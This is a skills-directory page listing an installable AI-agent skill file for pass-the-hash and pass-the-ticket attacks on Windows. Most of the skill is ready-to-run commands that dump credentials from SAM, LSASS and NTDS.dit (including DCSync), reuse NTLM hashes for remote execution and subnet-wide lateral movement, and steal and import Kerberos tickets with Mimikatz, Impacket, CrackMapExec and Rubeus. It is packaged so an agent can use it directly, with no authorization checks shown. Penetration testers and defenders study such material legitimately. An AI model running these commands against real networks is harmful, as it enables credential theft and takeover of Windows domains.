Skip to content
Back to skills

Pass The Hash

ASecurity

Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) attack methodology for Windows environments. Covers hash extraction, lateral movement, credential reuse, and over-pass-the-hash (PTK).

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentsgoshellbashgit

Works with

  • cli

Security analysis

A100/100

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill pass-the-hash --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Pass The Hash?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Pass The Hash
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-pass-the-hash/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-pass-the-hash)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: pass-the-hash
description: Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) attack methodology for Windows environments. Covers hash extraction, lateral movement, credential reuse, and over-pass-the-hash (PTK).
version: 1.0.0
license: Apache-2.0
---

# Pass-the-Hash / Pass-the-Ticket

## Hash Extraction

**From local SAM (requires SYSTEM):**
```bash
# Impacket
impacket-secretsdump LOCAL -sam SAM -system SYSTEM

# Mimikatz (on Windows)
privilege::debug
lsadump::sam
```

**From LSASS memory:**
```powershell
# Mimikatz
privilege::debug
sekurlsa::logonpasswords

# Remote (if admin on target)
impacket-secretsdump domain/user:password@target_ip
```

**From NTDS.dit (Domain Controller — DCSync):**
```bash
impacket-secretsdump -just-dc domain/user:password@dc-ip
```

## Pass-the-Hash (PtH)

Use NTLM hash instead of plaintext password:

```bash
# Impacket — SMB exec
impacket-psexec -hashes :NTLM_HASH domain/administrator@target_ip

# Impacket — WMI exec
impacket-wmiexec -hashes :NTLM_HASH domain/administrator@target_ip

# Impacket — SMB with hash
impacket-smbclient -hashes :NTLM_HASH domain/user@target_ip

# CrackMapExec — bulk lateral movement
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH --local-auth
```

**Mimikatz PtH:**
```
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:HASH /run:cmd.exe
```

## Pass-the-Ticket (PtT) — Kerberos

```bash
# Extract Kerberos tickets
Rubeus.exe dump /nowrap

# Export to file
mimikatz: sekurlsa::tickets /export

# Import ticket
Rubeus.exe ptt /ticket:BASE64_TICKET
mimikatz: kerberos::ptt ticket.kirbi

# Verify
klist
```

## Over-Pass-the-Hash (OPTH) — Convert NTLM to TGT

```bash
# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:HASH
# → opens cmd.exe with Kerberos ticket
```

## Tools

- [Impacket](https://github.com/SecureAuthCorp/impacket)
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) / [NetExec](https://github.com/Pennyw0rth/NetExec)
- [Rubeus](https://github.com/GhostPack/Rubeus)
- Mimikatz

## MITRE ATT&CK

- T1550.002 — Use Alternate Authentication Material: Pass the Hash
- T1550.003 — Use Alternate Authentication Material: Pass the Ticket

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.